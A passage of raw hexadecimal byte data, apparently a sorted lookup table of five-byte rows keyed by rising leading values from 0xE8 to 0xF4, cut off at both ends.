0xC2, 0x29, 0x19, 0x39,\r\n0xE8, 0xC3, 0x20, 0x1a, 0x39,\r\n0xE8, 0xC5, 0x7A, 0x1b, 0x39,\r\n0xE8, 0xC7, 0x4F, 0x21, 0x1c,\r\n0xE8, 0xCB, 0xA1, 0x4f, 0x12,\r\n0xE8, 0xCC, 0x18, 0xde, 0x28,\r\n0xE8, 0xCC, 0x32, 0x21, 0x0f,\r\n0xE8, 0xCD, 0x2D, 0xda, 0x14,\r\n0xE8, 0xCE, 0x06, 0xc8, 0x31,\r\n0xE8, 0xD0, 0x99, 0x54, 0x1f,\r\n0xE8, 0xD0, 0xFA, 0xf4, 0x09,\r\n0xE8, 0xD1, 0x1B, 0xb7, 0x0f,\r\n0xE8, 0xD4, 0x83, 0xb1, 0x23,\r\n0xE8, 0xD4, 0xE0, 0xe2, 0x02,\r\n0xE8, 0xD8, 0x19, 0xb5, 0x12,\r\n0xE8, 0xDA, 0x96, 0x1c, 0x39,\r\n0xE8, 0xDA, 0xAA, 0x1d, 0x39,\r\n0xE8, 0xDE, 0x00, 0xe6, 0x16,\r\n0xE8, 0xDE, 0x27, 0xcf, 0x09,\r\n0xE8, 0xDE, 0x8E, 0xd5, 0x00,\r\n0xE8, 0xDE, 0xD6, 0x1e, 0x39,\r\n0xE8, 0xDE, 0xFB, 0x1f, 0x39,\r\n0xE8, 0xDF, 0x70, 0xf6, 0x2b,\r\n0xE8, 0xDF, 0xF2, 0x20, 0x39,\r\n0xE8, 0xE0, 0x8F, 0x21, 0x39,\r\n0xE8, 0xE0, 0xB7, 0x32, 0x00,\r\n0xE8, 0xE1, 0xE1, 0xe4, 0x08,\r\n0xE8, 0xE1, 0xE2, 0x22, 0x39,\r\n0xE8, 0xE5, 0xD6, 0x4f, 0x02,\r\n0xE8, 0xE7, 0x32, 0xd1, 0x06,\r\n0xE8, 0xE7, 0x70, 0x23, 0x39,\r\n0xE8, 0xE7, 0x76, 0xe9, 0x01,\r\n0xE8, 0xE8, 0x75, 0x24, 0x39,\r\n0xE8, 0xEA, 0x6A, 0x25, 0x39,\r\n0xE8, 0xEA, 0xDA, 0x26, 0x39,\r\n0xE8, 0xEB, 0x11, 0xeb, 0x0f,\r\n0xE8, 0xED, 0x05, 0xb9, 0x00,\r\n0xE8, 0xED, 0xF3, 0x05, 0x00,\r\n0xE8, 0xEF, 0x89, 0x27, 0x39,\r\n0xE8, 0xF1, 0xB0, 0xc4, 0x0c,\r\n0xE8, 0xF2, 0x26, 0x28, 0x39,\r\n0xE8, 0xF2, 0xE2, 0x49, 0x05,\r\n0xE8, 0xF2, 0xE3, 0x29, 0x39,\r\n0xE8, 0xF7, 0x24, 0xc9, 0x01,\r\n0xE8, 0xF9, 0x28, 0x2a, 0x39,\r\n0xE8, 0xFA, 0xF7, 0xc8, 0x0a,\r\n0xE8, 0xFC, 0x60, 0x2b, 0x39,\r\n0xE8, 0xFC, 0xAF, 0x68, 0x08,\r\n0xE8, 0xFD, 0x72, 0x0e, 0x03,\r\n0xE8, 0xFD, 0x90, 0x2c, 0x39,\r\n0xE8, 0xFD, 0xE8, 0x2d, 0x39,\r\n0xEA, 0x34, 0xB4, 0x2e, 0x39,\r\n0xEA, 0x60, 0x76, 0x2f, 0x39,\r\n0xEA, 0x9F, 0xB1, 0x30, 0x39,\r\n0xEA, 0xBE, 0xA7, 0x65, 0x00,\r\n0xEA, 0xDD, 0x88, 0x31, 0x39,\r\n0xEA, 0xE0, 0xD9, 0x32, 0x39,\r\n0xEC, 0x01, 0x33, 0x33, 0x39,\r\n0xEC, 0x01, 0xE2, 0x34, 0x39,\r\n0xEC, 0x01, 0xEE, 0xc8, 0x0a,\r\n0xEC, 0x04, 0x41, 0xe9, 0x01,\r\n0xEC, 0x08, 0x6B, 0xcf, 0x09,\r\n0xEC, 0x0D, 0x9A, 0x95, 0x02,\r\n0xEC, 0x0E, 0xC4, 0xe3, 0x11,\r\n0xEC, 0x0E, 0xD6, 0x35, 0x39,\r\n0xEC, 0x10, 0x00, 0x36, 0x39,\r\n0xEC, 0x10, 0x7B, 0x4f, 0x02,\r\n0xEC, 0x11, 0x20, 0x37, 0x39,\r\n0xEC, 0x11, 0x27, 0xeb, 0x0f,\r\n0xEC, 0x13, 0xB2, 0x38, 0x39,\r\n0xEC, 0x13, 0xDB, 0x08, 0x05,\r\n0xEC, 0x14, 0xF6, 0x39, 0x39,\r\n0xEC, 0x17, 0x2F, 0xcf, 0x09,\r\n0xEC, 0x17, 0x66, 0x74, 0x00,\r\n0xEC, 0x1A, 0x59, 0xe5, 0x13,\r\n0xEC, 0x1D, 0x7F, 0xe1, 0x12,\r\n0xEC, 0x1D, 0x8B, 0x05, 0x00,\r\n0xEC, 0x1F, 0x72, 0x4f, 0x02,\r\n0xEC, 0x21, 0x9F, 0x3a, 0x39,\r\n0xEC, 0x21, 0xE5, 0x32, 0x00,\r\n0xEC, 0x22, 0x57, 0x3b, 0x39,\r\n0xEC, 0x22, 0x80, 0xde, 0x28,\r\n0xEC, 0x23, 0x3D, 0xda, 0x14,\r\n0xEC, 0x23, 0x68, 0x3d, 0x15,\r\n0xEC, 0x23, 0x7B, 0xe1, 0x12,\r\n0xEC, 0x24, 0xB8, 0xeb, 0x0f,\r\n0xEC, 0x26, 0xCA, 0xcf, 0x09,\r\n0xEC, 0x26, 0xFB, 0x3c, 0x39,\r\n0xEC, 0x2A, 0xF0, 0x3d, 0x39,\r\n0xEC, 0x2C, 0x49, 0x16, 0x10,\r\n0xEC, 0x2E, 0x4E, 0xc7, 0x11,\r\n0xEC, 0x30, 0x91, 0x05, 0x00,\r\n0xEC, 0x35, 0x86, 0x51, 0x03,\r\n0xEC, 0x36, 0x3F, 0x3e, 0x39,\r\n0xEC, 0x38, 0x73, 0x08, 0x05,\r\n0xEC, 0x38, 0x8F, 0xda, 0x14,\r\n0xEC, 0x3B, 0xF0, 0x3f, 0x39,\r\n0xEC, 0x3C, 0x5A, 0x69, 0x1d,\r\n0xEC, 0x3C, 0x88, 0x40, 0x39,\r\n0xEC, 0x3D, 0xFD, 0xe9, 0x01,\r\n0xEC, 0x3E, 0x09, 0xa1, 0x0e,\r\n0xEC, 0x3E, 0xF7, 0x08, 0x05,\r\n0xEC, 0x3F, 0x05, 0xb4, 0x0f,\r\n0xEC, 0x42, 0xB4, 0x41, 0x39,\r\n0xEC, 0x42, 0xF0, 0x42, 0x39,\r\n0xEC, 0x43, 0x8B, 0x43, 0x39,\r\n0xEC, 0x43, 0xE6, 0x44, 0x39,\r\n0xEC, 0x43, 0xF6, 0xc6, 0x10,\r\n0xEC, 0x44, 0x76, 0x05, 0x00,\r\n0xEC, 0x46, 0x44, 0x45, 0x39,\r\n0xEC, 0x46, 0x70, 0x46, 0x39,\r\n0xEC, 0x47, 0x3C, 0x47, 0x39,\r\n0xEC, 0x49, 0x93, 0x48, 0x39,\r\n0xEC, 0x4C, 0x4D, 0x5f, 0x38,\r\n0xEC, 0x4D, 0x47, 0xda, 0x14,\r\n0xEC, 0x4F, 0x82, 0xaa, 0x05,\r\n0xEC, 0x51, 0xBC, 0xc8, 0x0a,\r\n0xEC, 0x52, 0xDC, 0x49, 0x39,\r\n0xEC, 0x54, 0x2E, 0x0e, 0x03,\r\n0xEC, 0x55, 0xF9, 0xe3, 0x11,\r\n0xEC, 0x59, 0xE7, 0xb4, 0x03,\r\n0xEC, 0x5A, 0x86, 0x47, 0x13,\r\n0xEC, 0x5C, 0x69, 0xb2, 0x00,\r\n0xEC, 0x5F, 0x23, 0x4a, 0x39,\r\n0xEC, 0x60, 0xE0, 0x4b, 0x39,\r\n0xEC, 0x62, 0x64, 0x4c, 0x39,\r\n0xEC, 0x63, 0xE5, 0x4d, 0x39,\r\n0xEC, 0x64, 0xE7, 0x4e, 0x39,\r\n0xEC, 0x65, 0xCC, 0x5e, 0x0d,\r\n0xEC, 0x66, 0xD1, 0xd7, 0x37,\r\n0xEC, 0x68, 0x81, 0xd2, 0x16,\r\n0xEC, 0x6C, 0x9F, 0x4f, 0x39,\r\n0xEC, 0x70, 0x97, 0xb9, 0x00,\r\n0xEC, 0x71, 0xDB, 0xe9, 0x01,\r\n0xEC, 0x74, 0xBA, 0x5b, 0x16,\r\n0xEC, 0x7C, 0x74, 0x50, 0x39,\r\n0xEC, 0x7D, 0x11, 0x5d, 0x28,\r\n0xEC, 0x7D, 0x9D, 0x51, 0x39,\r\n0xEC, 0x7F, 0xC6, 0x52, 0x39,\r\n0xEC, 0x80, 0x09, 0x53, 0x39,\r\n0xEC, 0x81, 0x93, 0xc0, 0x19,\r\n0xEC, 0x83, 0x50, 0xb4, 0x03,\r\n0xEC, 0x83, 0x6C, 0x54, 0x39,\r\n0xEC, 0x85, 0x2F, 0x51, 0x03,\r\n0xEC, 0x88, 0x8F, 0xcf, 0x09,\r\n0xEC, 0x88, 0x92, 0x22, 0x09,\r\n0xEC, 0x89, 0x14, 0xda, 0x14,\r\n0xEC, 0x89, 0xF5, 0x8c, 0x10,\r\n0xEC, 0x8A, 0x4C, 0xe1, 0x12,\r\n0xEC, 0x8A, 0xC7, 0x54, 0x1f,\r\n0xEC, 0x8C, 0x9A, 0xda, 0x14,\r\n0xEC, 0x8C, 0xA2, 0x02, 0x11,\r\n0xEC, 0x8E, 0xAD, 0x55, 0x39,\r\n0xEC, 0x8E, 0xAE, 0x56, 0x39,\r\n0xEC, 0x8E, 0xB5, 0xc9, 0x01,\r\n0xEC, 0x92, 0x33, 0x57, 0x39,\r\n0xEC, 0x93, 0x27, 0x58, 0x39,\r\n0xEC, 0x93, 0x65, 0x59, 0x39,\r\n0xEC, 0x93, 0xED, 0x5a, 0x39,\r\n0xEC, 0x96, 0x81, 0x5b, 0x39,\r\n0xEC, 0x98, 0x6C, 0x5c, 0x39,\r\n0xEC, 0x98, 0xC1, 0x5c, 0x17,\r\n0xEC, 0x9A, 0x74, 0xc9, 0x01,\r\n0xEC, 0x9B, 0x5B, 0x4f, 0x12,\r\n0xEC, 0x9B, 0x8B, 0xc9, 0x01,\r\n0xEC, 0x9B, 0xF3, 0x4f, 0x02,\r\n0xEC, 0x9E, 0xCD, 0x95, 0x01,\r\n0xEC, 0x9F, 0x0D, 0x57, 0x17,\r\n0xEC, 0xA2, 0x9B, 0x5d, 0x39,\r\n0xEC, 0xA8, 0x6B, 0xee, 0x06,\r\n0xEC, 0xA9, 0xFA, 0xc8, 0x0a,\r\n0xEC, 0xAA, 0xA0, 0x97, 0x22,\r\n0xEC, 0xAD, 0xB8, 0x51, 0x03,\r\n0xEC, 0xAF, 0x97, 0x5e, 0x39,\r\n0xEC, 0xB0, 0xE1, 0xef, 0x1c,\r\n0xEC, 0xB1, 0x06, 0x5f, 0x39,\r\n0xEC, 0xB1, 0xD7, 0xc9, 0x01,\r\n0xEC, 0xB5, 0x41, 0x60, 0x39,\r\n0xEC, 0xB5, 0xFA, 0x26, 0x14,\r\n0xEC, 0xB8, 0x70, 0x93, 0x15,\r\n0xEC, 0xB9, 0x07, 0x61, 0x39,\r\n0xEC, 0xBA, 0xFE, 0x62, 0x39,\r\n0xEC, 0xBB, 0xAE, 0x63, 0x39,\r\n0xEC, 0xBD, 0x09, 0x64, 0x39,\r\n0xEC, 0xBD, 0x1D, 0x05, 0x00,\r\n0xEC, 0xC0, 0x6A, 0x65, 0x39,\r\n0xEC, 0xC3, 0x8A, 0x66, 0x39,\r\n0xEC, 0xC8, 0x82, 0x05, 0x00,\r\n0xEC, 0xCB, 0x30, 0xda, 0x14,\r\n0xEC, 0xCD, 0x6D, 0xc0, 0x00,\r\n0xEC, 0xD0, 0x0E, 0x67, 0x39,\r\n0xEC, 0xD0, 0x40, 0x68, 0x39,\r\n0xEC, 0xD0, 0x9F, 0x34, 0x24,\r\n0xEC, 0xD1, 0x9A, 0x69, 0x39,\r\n0xEC, 0xD6, 0x8A, 0xe9, 0x01,\r\n0xEC, 0xD9, 0x25, 0x6a, 0x39,\r\n0xEC, 0xD9, 0x50, 0x6b, 0x39,\r\n0xEC, 0xD9, 0xD1, 0xe9, 0x01,\r\n0xEC, 0xDE, 0x3D, 0x6c, 0x39,\r\n0xEC, 0xDF, 0x3A, 0x5d, 0x28,\r\n0xEC, 0xE0, 0x9B, 0x4f, 0x02,\r\n0xEC, 0xE1, 0x54, 0x30, 0x38,\r\n0xEC, 0xE1, 0xA9, 0x05, 0x00,\r\n0xEC, 0xE2, 0xFD, 0x6d, 0x39,\r\n0xEC, 0xE5, 0x12, 0x6e, 0x39,\r\n0xEC, 0xE5, 0x55, 0x5b, 0x16,\r\n0xEC, 0xE7, 0x44, 0x6f, 0x39,\r\n0xEC, 0xE9, 0x0B, 0x70, 0x39,\r\n0xEC, 0xE9, 0x15, 0x71, 0x39,\r\n0xEC, 0xE9, 0xF8, 0x72, 0x39,\r\n0xEC, 0xEA, 0x03, 0x23, 0x0e,\r\n0xEC, 0xEB, 0xB8, 0xc9, 0x01,\r\n0xEC, 0xEE, 0xD8, 0x73, 0x39,\r\n0xEC, 0xF0, 0x0E, 0xc8, 0x0f,\r\n0xEC, 0xF2, 0x36, 0x74, 0x39,\r\n0xEC, 0xF3, 0x42, 0xc8, 0x0a,\r\n0xEC, 0xF3, 0x5B, 0x4f, 0x12,\r\n0xEC, 0xF4, 0x51, 0x5b, 0x10,\r\n0xEC, 0xF4, 0xBB, 0xd1, 0x05,\r\n0xEC, 0xF7, 0x2B, 0x75, 0x39,\r\n0xEC, 0xF8, 0xEB, 0x19, 0x1d,\r\n0xEC, 0xFA, 0x03, 0x76, 0x39,\r\n0xEC, 0xFA, 0xAA, 0x77, 0x39,\r\n0xEC, 0xFA, 0xBC, 0xe3, 0x29,\r\n0xEC, 0xFA, 0xF4, 0x78, 0x39,\r\n0xEC, 0xFC, 0x55, 0x79, 0x39,\r\n0xEC, 0xFE, 0x7E, 0x7a, 0x39,\r\n0xF0, 0x00, 0x7F, 0x7b, 0x39,\r\n0xF0, 0x02, 0x2B, 0x7c, 0x39,\r\n0xF0, 0x02, 0x48, 0x7d, 0x39,\r\n0xF0, 0x03, 0x8C, 0xb5, 0x12,\r\n0xF0, 0x07, 0x86, 0xc2, 0x10,\r\n0xF0, 0x08, 0xF1, 0x4f, 0x02,\r\n0xF0, 0x0D, 0x5C, 0xac, 0x2b,\r\n0xF0, 0x0E, 0x1D, 0x3b, 0x2a,\r\n0xF0, 0x0F, 0xEC, 0xda, 0x14,\r\n0xF0, 0x13, 0xC3, 0xe9, 0x01,\r\n0xF0, 0x15, 0xA0, 0x7e, 0x39,\r\n0xF0, 0x15, 0xB9, 0x7f, 0x39,\r\n0xF0, 0x18, 0x2B, 0x80, 0x39,\r\n0xF0, 0x18, 0x98, 0x51, 0x03,\r\n0xF0, 0x1B, 0x6C, 0x5d, 0x28,\r\n0xF0, 0x1C, 0x13, 0xce, 0x17,\r\n0xF0, 0x1C, 0x2D, 0x08, 0x05,\r\n0xF0, 0x1D, 0xBC, 0xb4, 0x03,\r\n0xF0, 0x1E, 0x34, 0x81, 0x39,\r\n0xF0, 0x1F, 0xAF, 0xd1, 0x05,\r\n0xF0, 0x21, 0x9D, 0x09, 0x0a,\r\n0xF0, 0x22, 0x4E, 0x82, 0x39,\r\n0xF0, 0x23, 0x29, 0x83, 0x39,\r\n0xF0, 0x23, 0xB9, 0x57, 0x17,\r\n0xF0, 0x24, 0x05, 0x84, 0x39,\r\n0xF0, 0x24, 0x08, 0x85, 0x39,\r\n0xF0, 0x24, 0x75, 0x51, 0x03,\r\n0xF0, 0x25, 0x72, 0x05, 0x00,\r\n0xF0, 0x25, 0xB7, 0x4f, 0x02,\r\n0xF0, 0x26, 0x24, 0x86, 0x39,\r\n0xF0, 0x26, 0x4C, 0x87, 0x39,\r\n0xF0, 0x27, 0x2D, 0x96, 0x22,\r\n0xF0, 0x27, 0x45, 0x88, 0x39,\r\n0xF0, 0x27, 0x65, 0xd4, 0x0c,\r\n0xF0, 0x29, 0x29, 0x05, 0x00,\r\n0xF0, 0x2A, 0x23, 0x1a, 0x02,\r\n0xF0, 0x2A, 0x61, 0x89, 0x39,\r\n0xF0, 0x2F, 0xA7, 0xda, 0x14,\r\n0xF0, 0x2F, 0xD8, 0x8a, 0x39,\r\n0xF0, 0x32, 0x1A, 0xfb, 0x0b,\r\n0xF0, 0x34, 0x04, 0xe1, 0x28,\r\n0xF0, 0x37, 0xA1, 0x8b, 0x39,\r\n0xF0, 0x3A, 0x4B, 0x8c, 0x39,\r\n0xF0, 0x3A, 0x55, 0x75, 0x26,\r\n0xF0, 0x3D, 0x03, 0xb1, 0x27,\r\n0xF0, 0x3D, 0x29, 0x8d, 0x39,\r\n0xF0, 0x3E, 0x90, 0x02, 0x11,\r\n0xF0, 0x3E, 0xBF, 0x8e, 0x39,\r\n0xF0, 0x3F, 0xF8, 0x8f, 0x39,\r\n0xF0, 0x40, 0x7B, 0x54, 0x1f,\r\n0xF0, 0x41, 0xC8, 0x57, 0x17,\r\n0xF0, 0x42, 0x1C, 0x80, 0x10,\r\n0xF0, 0x43, 0x35, 0x90, 0x39,\r\n0xF0, 0x43, 0x47, 0xda, 0x14,\r\n0xF0, 0x45, 0xDA, 0xeb, 0x0f,\r\n0xF0, 0x4A, 0x2B, 0x91, 0x39,\r\n0xF0, 0x4B, 0x3A, 0x08, 0x05,\r\n0xF0, 0x4B, 0x6A, 0x8c, 0x01,\r\n0xF0, 0x4B, 0xF2, 0x92, 0x39,\r\n0xF0, 0x4C, 0xD5, 0x0c, 0x11,\r\n0xF0, 0x4D, 0xA2, 0xd1, 0x05,\r\n0xF0, 0x4F, 0x7C, 0x65, 0x00,\r\n0xF0, 0x58, 0x49, 0x93, 0x39,\r\n0xF0, 0x5A, 0x09, 0x4f, 0x02,\r\n0xF0, 0x5B, 0x7B, 0x4f, 0x02,\r\n0xF0, 0x5C, 0x19, 0x58, 0x0a,\r\n0xF0, 0x5D, 0x89, 0x94, 0x39,\r\n0xF0, 0x5D, 0xC8, 0x95, 0x39,\r\n0xF0, 0x5F, 0x5A, 0x96, 0x39,\r\n0xF0, 0x61, 0x30, 0x6f, 0x09,\r\n0xF0, 0x62, 0x0D, 0xe9, 0x01,\r\n0xF0, 0x62, 0x81, 0x82, 0x13,\r\n0xF0, 0x65, 0xC2, 0x97, 0x39,\r\n0xF0, 0x65, 0xDD, 0x4d, 0x02,\r\n0xF0, 0x68, 0x53, 0xd5, 0x00,\r\n0xF0, 0x6B, 0xCA, 0x4f, 0x02,\r\n0xF0, 0x6D, 0x78, 0xc8, 0x0a,\r\n0xF0, 0x6E, 0x0B, 0xb4, 0x03,\r\n0xF0, 0x6E, 0x32, 0x98, 0x39,\r\n0xF0, 0x72, 0x8C, 0x4f, 0x02,\r\n0xF0, 0x73, 0xAE, 0x99, 0x39,\r\n0xF0, 0x74, 0x85, 0x9a, 0x39,\r\n0xF0, 0x74, 0xE4, 0x9b, 0x39,\r\n0xF0, 0x76, 0x1C, 0xe9, 0x16,\r\n0xF0, 0x76, 0x6F, 0x51, 0x03,\r\n0xF0, 0x77, 0x65, 0x9c, 0x39,\r\n0xF0, 0x77, 0xD0, 0x9d, 0x39,\r\n0xF0, 0x78, 0x16, 0x05, 0x00,\r\n0xF0, 0x79, 0x59, 0x20, 0x0b,\r\n0xF0, 0x79, 0x60, 0x51, 0x03,\r\n0xF0, 0x79, 0xE8, 0xc8, 0x0a,\r\n0xF0, 0x7B, 0xCB, 0xe3, 0x11,\r\n0xF0, 0x7D, 0x68, 0xe8, 0x04,\r\n0xF0, 0x7F, 0x06, 0x05, 0x00,\r\n0xF0, 0x7F, 0x0C, 0x9e, 0x39,\r\n0xF0, 0x81, 0x73, 0x96, 0x22,\r\n0xF0, 0x81, 0xAF, 0x9f, 0x39,\r\n0xF0, 0x82, 0x61, 0xc4, 0x0c,\r\n0xF0, 0x84, 0x2F, 0x71, 0x07,\r\n0xF0, 0x84, 0xC9, 0xe1, 0x12,\r\n0xF0, 0x85, 0xC1, 0xe9, 0x01,\r\n0xF0, 0x8A, 0x28, 0x98, 0x28,\r\n0xF0, 0x8B, 0xFE, 0xa0, 0x39,\r\n0xF0, 0x8C, 0xFB, 0x54, 0x1f,\r\n0xF0, 0x8E, 0xDB, 0xa1, 0x39,\r\n0xF0, 0x92, 0x1C, 0xc9, 0x01,\r\n0xF0, 0x92, 0xB4, 0x19, 0x1d,\r\n0xF0, 0x93, 0x3A, 0xa2, 0x39,\r\n0xF0, 0x93, 0xC5, 0xa3, 0x39,\r\n0xF0, 0x97, 0xE5, 0xa4, 0x39,\r\n0xF0, 0x98, 0x38, 0xda, 0x14,\r\n0xF0, 0x98, 0x9D, 0x51, 0x03,\r\n0xF0, 0x99, 0xB6, 0x51, 0x03,\r\n0xF0, 0x99, 0xBF, 0x51, 0x03,\r\n0xF0, 0x9A, 0x51, 0x0e, 0x03,\r\n0xF0, 0x9C, 0xBB, 0xa5, 0x39,\r\n0xF0, 0x9C, 0xD7, 0xd3, 0x06,\r\n0xF0, 0x9C, 0xE9, 0x95, 0x15,\r\n0xF0, 0x9E, 0x63, 0x05, 0x00,\r\n0xF0, 0x9F, 0xC2, 0x84, 0x12,\r\n0xF0, 0xA2, 0x25, 0x65, 0x00,\r\n0xF0, 0xA7, 0x64, 0xa6, 0x39,\r\n0xF0, 0xAB, 0x54, 0xa5, 0x24,\r\n0xF0, 0xAC, 0xA4, 0xa7, 0x39,\r\n0xF0, 0xAC, 0xD7, 0x57, 0x17,\r\n0xF0, 0xAD, 0x4E, 0xa8, 0x39,\r\n0xF0, 0xAE, 0x51, 0xa9, 0x39,\r\n0xF0, 0xAF, 0x50, 0xaa, 0x39,\r\n0xF0, 0xB0, 0x52, 0x02, 0x11,\r\n0xF0, 0xB0, 0xE7, 0x51, 0x03,\r\n0xF0, 0xB2, 0xE5, 0x05, 0x00,\r\n0xF0, 0xB4, 0x29, 0x34, 0x24,\r\n0xF0, 0xB4, 0x79, 0x51, 0x03,\r\n0xF0, 0xB5, 0xB7, 0x5b, 0x33,\r\n0xF0, 0xB5, 0xD1, 0xeb, 0x0f,\r\n0xF0, 0xB6, 0xEB, 0xab, 0x39,\r\n0xF0, 0xBC, 0xC8, 0xac, 0x39,\r\n0xF0, 0xBD, 0x2E, 0xad, 0x39,\r\n0xF0, 0xBD, 0xF1, 0xae, 0x39,\r\n0xF0, 0xBF, 0x97, 0x34, 0x01,\r\n0xF0, 0xC1, 0xF1, 0x51, 0x03,\r\n0xF0, 0xC2, 0x4C, 0x27, 0x07,\r\n0xF0, 0xC2, 0x7C, 0xaf, 0x39,\r\n0xF0, 0xC7, 0x7F, 0xeb, 0x0f,\r\n0xF0, 0xC8, 0x50, 0xda, 0x14,\r\n0xF0, 0xC8, 0x8C, 0xb0, 0x39,\r\n0xF0, 0xC9, 0xD1, 0xb6, 0x2b,\r\n0xF0, 0xCB, 0xA1, 0x51, 0x03,\r\n0xF0, 0xD1, 0x4F, 0xb1, 0x39,\r\n0xF0, 0xD1, 0xA9, 0x51, 0x03,\r\n0xF0, 0xD1, 0xB8, 0xb2, 0x39,\r\n0xF0, 0xD2, 0xF1, 0x96, 0x22,\r\n0xF0, 0xD3, 0xA7, 0xb3, 0x39,\r\n0xF0, 0xD3, 0xE7, 0xb4, 0x39,\r\n0xF0, 0xD4, 0xF6, 0xb5, 0x39,\r\n0xF0, 0xD5, 0xBF, 0x80, 0x10,\r\n0xF0, 0xD6, 0x57, 0xb6, 0x39,\r\n0xF0, 0xD7, 0x67, 0xb7, 0x39,\r\n0xF0, 0xD7, 0xAA, 0x22, 0x09,\r\n0xF0, 0xD9, 0xB2, 0xb8, 0x39,\r\n0xF0, 0xDA, 0x7C, 0xb9, 0x39,\r\n0xF0, 0xDB, 0x30, 0xba, 0x39,\r\n0xF0, 0xDB, 0xE2, 0x51, 0x03,\r\n0xF0, 0xDB, 0xF8, 0x51, 0x03,\r\n0xF0, 0xDC, 0xE2, 0x51, 0x03,\r\n0xF0, 0xDE, 0x71, 0x0e, 0x03,\r\n0xF0, 0xDE, 0xB9, 0x0e, 0x03,\r\n0xF0, 0xDE, 0xF1, 0x83, 0x28,\r\n0xF0, 0xE3, 0xDC, 0xbb, 0x39,\r\n0xF0, 0xE5, 0xC3, 0xbc, 0x39,\r\n0xF0, 0xE7, 0x7E, 0x4f, 0x02,\r\n0xF0, 0xEB, 0xD0, 0x0e, 0x03,\r\n0xF0, 0xEC, 0x39, 0xbd, 0x39,\r\n0xF0, 0xED, 0x1E, 0xbe, 0x39,\r\n0xF0, 0xEE, 0x10, 0x4f, 0x02,\r\n0xF0, 0xEE, 0x58, 0xbf, 0x39,\r\n0xF0, 0xEE, 0xBB, 0xc0, 0x39,\r\n0xF0, 0xEF, 0xD2, 0xc1, 0x39,\r\n0xF0, 0xF0, 0x02, 0xe3, 0x11,\r\n0xF0, 0xF2, 0x49, 0x4a, 0x05,\r\n0xF0, 0xF2, 0x60, 0xc2, 0x39,\r\n0xF0, 0xF3, 0x36, 0xcf, 0x09,\r\n0xF0, 0xF5, 0xAE, 0xc3, 0x39,\r\n0xF0, 0xF6, 0x1C, 0x51, 0x03,\r\n0xF0, 0xF6, 0x44, 0xc4, 0x39,\r\n0xF0, 0xF6, 0x69, 0xc5, 0x39,\r\n0xF0, 0xF7, 0x55, 0x05, 0x00,\r\n0xF0, 0xF7, 0xB3, 0xc6, 0x39,\r\n0xF0, 0xF8, 0x42, 0xc7, 0x39,\r\n0xF0, 0xF8, 0xF2, 0xeb, 0x0f,\r\n0xF0, 0xF9, 0xF7, 0xc8, 0x39,\r\n0xF0, 0xFC, 0xC8, 0xb9, 0x00,\r\n0xF0, 0xFD, 0xA0, 0xc9, 0x39,\r\n0xF0, 0xFE, 0x6B, 0x0e, 0x03,\r\n0xF4, 0x03, 0x04, 0x0a, 0x16,\r\n0xF4, 0x03, 0x21, 0xca, 0x39,\r\n0xF4, 0x03, 0x2F, 0xcb, 0x39,\r\n0xF4, 0x03, 0x43, 0xc9, 0x01,\r\n0xF4, 0x04, 0x4C, 0xcc, 0x39,\r\n0xF4, 0x06, 0x69, 0x80, 0x10,\r\n0xF4, 0x06, 0x8D, 0x15, 0x0a,\r\n0xF4, 0x06, 0xA5, 0x10, 0x0e,\r\n0xF4, 0x09, 0xD8, 0x4f, 0x02,\r\n0xF4, 0x0A, 0x4A, 0xcd, 0x39,\r\n0xF4, 0x0B, 0x93, 0xc2, 0x0d,\r\n0xF4, 0x0E, 0x11, 0x57, 0x17,\r\n0xF4, 0x0E, 0x22, 0x4f, 0x02,\r\n0xF4, 0x0E, 0x83, 0xb9, 0x00,\r\n0xF4, 0x0F, 0x1B, 0x05, 0x00,\r\n0xF4, 0x0F, 0x24, 0x51, 0x03,\r\n0xF4, 0x0F, 0x9B, 0xce, 0x39,\r\n0xF4, 0x15, 0x35, 0xcf, 0x39,\r\n0xF4, 0x15, 0x63, 0xbb, 0x01,\r\n0xF4, 0x15, 0xFD, 0x0e, 0x03,\r\n0xF4, 0x17, 0xB8, 0x09, 0x18,\r\n0xF4, 0x1B, 0xA1, 0x51, 0x03,\r\n0xF4, 0x1E, 0x26, 0xd0, 0x39,\r\n0xF4, 0x1E, 0x5E, 0xd1, 0x39,\r\n0xF4, 0x1F, 0x0B, 0xd2, 0x39,\r\n0xF4, 0x1F, 0x88, 0xe1, 0x12,\r\n0xF4, 0x1F, 0xC2, 0x05, 0x00,\r\n0xF4, 0x20, 0x12, 0xd3, 0x39,\r\n0xF4, 0x28, 0x33, 0xd4, 0x39,\r\n0xF4, 0x28, 0x53, 0x3a, 0x0d,\r\n0xF4, 0x28, 0x96, 0xd5, 0x39,\r\n0xF4, 0x29, 0x81, 0x5d, 0x28,\r\n0xF4, 0x2B, 0x48, 0xd6, 0x39,\r\n0xF4, 0x2C, 0x56, 0xd7, 0x39,\r\n0xF4, 0x30, 0xB9, 0xc9, 0x01,\r\n0xF4, 0x31, 0xC3, 0x51, 0x03,\r\n0xF4, 0x36, 0xE1, 0xd8, 0x39,\r\n0xF4, 0x37, 0xB7, 0x51, 0x03,\r\n0xF4, 0x38, 0x14, 0x0e, 0x03,\r\n0xF4, 0x3D, 0x80, 0xd9, 0x39,\r\n0xF4, 0x3E, 0x61, 0xe9, 0x01,\r\n0xF4, 0x3E, 0x9D, 0xda, 0x39,\r\n0xF4, 0x41, 0x56, 0xdb, 0x39,\r\n0xF4, 0x42, 0x27, 0xdc, 0x39,\r\n0xF4, 0x42, 0x8F, 0x4f, 0x02,\r\n0xF4, 0x44, 0x50, 0xdd, 0x39,\r\n0xF4, 0x45, 0xED, 0xde, 0x39,\r\n0xF4, 0x47, 0x13, 0xdf, 0x39,\r\n0xF4, 0x47, 0x2A, 0xe0, 0x39,\r\n0xF4, 0x48, 0x48, 0xe1, 0x39,\r\n0xF4, 0x49, 0xEF, 0xe2, 0x39,\r\n0xF4, 0x4B, 0x2A, 0xc4, 0x14,\r\n0xF4, 0x4C, 0x70, 0x50, 0x13,\r\n0xF4, 0x4C, 0x7F, 0xda, 0x14,\r\n0xF4, 0x4D, 0x17, 0xe3, 0x39,\r\n0xF4, 0x4D, 0x30, 0xee, 0x06,\r\n0xF4, 0x4E, 0x05, 0x05, 0x00,\r\n0xF4, 0x4E, 0xFD, 0xe4, 0x39,\r\n0xF4, 0x50, 0xEB, 0x71, 0x2c,\r\n0xF4, 0x52, 0x14, 0x95, 0x02,\r\n0xF4, 0x54, 0x33, 0xb1, 0x00,\r\n0xF4, 0x55, 0x95, 0xe5, 0x39,\r\n0xF4, 0x55, 0x9C, 0xda, 0x14,\r\n0xF4, 0x55, 0xE0, 0xe6, 0x39,\r\n0xF4, 0x57, 0x3E, 0x54, 0x1f,\r\n0xF4, 